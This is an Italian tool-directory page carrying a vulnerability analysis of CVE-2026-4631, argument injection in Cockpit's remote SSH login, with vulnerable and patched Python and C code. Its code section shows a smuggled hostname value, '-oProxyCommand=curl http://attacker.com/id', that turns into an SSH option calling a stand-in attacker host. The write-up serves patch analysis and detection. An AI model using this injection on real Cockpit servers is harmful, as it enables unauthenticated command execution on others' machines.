Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-4631-cockpit-RCE — Cockpit: Esecuzione di codice in remoto non autenticata tramite iniezione di argomenti da riga di comando SSH | Kitploit
Strumenti/GitHubGitHub/cyberheartmi9/cve-2026-4631-cockpit-rce
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlRed Teaming
GitHubcyberheartmi9/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

Cockpit: Esecuzione di codice in remoto non autenticata tramite iniezione di argomenti da riga di comando SSH

Vedi Repository
146195 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-4631 — Analisi del Codice

Cockpit: Esecuzione Remota di Codice Non Autenticata tramite Iniezione di Argomenti della Riga di Comando SSH

CampoDettaglio
ID CVECVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
GravitàCritica (CVSS 9.8)
Versioni interessateCockpit 327 – 359
Corretta inCockpit 360
CWECWE-78: Iniezione di Comandi del Sistema Operativo
Autenticazione richiestaNO
Segnalata daJelle van der Waa

Indice

  1. Panoramica della Vulnerabilità
  2. Contesto Architetturale
  3. Analisi della Causa Radice
  4. Codice Vulnerabile — File per File
  5. Vettori di Attacco
  6. Diagramma del Flusso dei Dati
  7. Analisi della Patch
  8. Rilevamento
  9. Riferimenti

1. Panoramica della Vulnerabilità

La funzione di login remoto di Cockpit passa gli hostname forniti dall'utente (dal percorso URL) e gli username (dall'header Authorization: Basic) direttamente al binario OpenSSH ssh senza alcuna validazione o sanificazione.

Un attaccante non autenticato con accesso di rete alla porta 9090 può creare una singola richiesta HTTP che:

  • Inietta opzioni SSH arbitrarie tramite il campo hostname (-oProxyCommand=<cmd>)
  • Inietta comandi shell tramite il campo username sfruttando l'espansione del token %r di SSH

Entrambi i punti di iniezione vengono attivati prima del completamento della verifica delle credenziali, il che significa che non è richiesto alcun login valido.


2. Contesto Architetturale

Flusso di Login Remoto Normale

Auth-flow

Cosa è Cambiato nella Versione 327

Prima della versione 327, Cockpit utilizzava un binario C dedicato chiamato cockpit-ssh (basato su libssh) per le connessioni remote. A partire dalla versione 327, questo è stato sostituito con:

python3 -m cockpit.beiboot

che invoca il client OpenSSH ssh di sistema. Questo cambiamento ha introdotto la vulnerabilità perché il nuovo percorso del codice passa valori controllati dall'utente direttamente a ssh senza sanificazione.


3. Analisi della Causa Radice

Problema 1 — Nessun Separatore -- Prima dell'Hostname

Il client SSH interpreta gli argomenti che iniziano con - come opzioni, non come hostname, a meno che non sia presente un separatore -- prima di essi. Senza --, qualsiasi hostname che inizia con - viene interpretato come un flag SSH.

Costruzione vulnerabile:

ssh [opzioni] <hostname> <comando-remoto>

Costruzione sicura:

ssh [opzioni] -- <hostname> <comando-remoto>

Problema 2 — Nessuna Validazione dell'Input

Né cockpit-ws (codice C) né cockpit.beiboot (codice Python) validano o sanificano:

  • L'hostname estratto dal percorso URL
  • L'username estratto dall'header Authorization: Basic

Problema 3 — Bug di Python argparse (CPython #66623)

Un bug noto di CPython causa un'errata gestione degli argomenti che iniziano con - e contengono anche spazi da parte di argparse, trattandoli come argomenti posizionali anziché come flag. Ciò consente a un hostname -oProxyCommand=evil command di superare l'analisi degli argomenti di Python e raggiungere ssh come opzione.


4. Codice Vulnerabile — File per File

4.1 src/cockpit/beiboot.py — Punto di Iniezione Primario

Questo è il file più critico. La funzione via_ssh() costruisce la lista degli argomenti del comando SSH.

Codice vulnerabile (prima della patch)

def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """Build an ssh command to run `cmd` on `dest`."""

    # Parse optional port from dest (e.g. "host:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # Strip IPv6 brackets
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  VULNERABLE: No '--' before host
        # If host = "-oProxyCommand=evil", ssh treats it as an option
        destination = ['-p', port, host]

    else:
        #  VULNERABLE: Raw attacker input passed directly to ssh
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

Come appare l'invocazione SSH risultante

Con dest = "-oProxyCommand=curl http://attacker.com/id":

arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← opzione cockpit
arg2: -oProxyCommand=curl http://...   ←  INTERPRETATA COME OPZIONE SSH (non hostname)
arg3: python3 -ic '# cockpit-bridge'   ← diventa l'"hostname" → attiva ProxyCommand

Codice corretto (versione 360)

    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  CORRETTO: '--' forza tutto ciò che segue a essere posizionale
        destination = ['-p', port, '--', host]

    else:
        #  CORRETTO: separatore '--' aggiunto
        destination = ['--', dest]

4.2 src/ws/cockpitauth.c — Livello C: Estrazione dell'Hostname

Questo file C gestisce l'analisi iniziale della richiesta HTTP e avvia il processo beiboot.

Estrazione dell'hostname dall'URL (nessuna validazione)

static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // Extracts everything after "cockpit+=" from the URL path
    //  No character validation — dashes, special chars allowed
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

L'hostname restituito viene passato direttamente come argomento all'avvio di beiboot:

// cockpit_ws_ssh_program is the spawn command template
//  VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        No trailing '--' means hostname can be parsed
//                        as a flag by Python's argparse (CPython #66623)

Corretto nella versione 360

//  CORRETTO: il '--' finale garantisce che l'hostname sia sempre posizionale
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

Estrazione dell'username dall'header Authorization (nessuna validazione)

static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // Decodes Authorization: Basic base64(user:password)
        //  No validation of 'user' — semicolons, special chars allowed
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }

    // 'user' is passed into credentials and eventually to 'ssh -l <user>'
    creds = cockpit_creds_new(application,
                              COCKPIT_CRED_USER, user,   //  unsanitized
                              ...);
}

Scarica lo strumento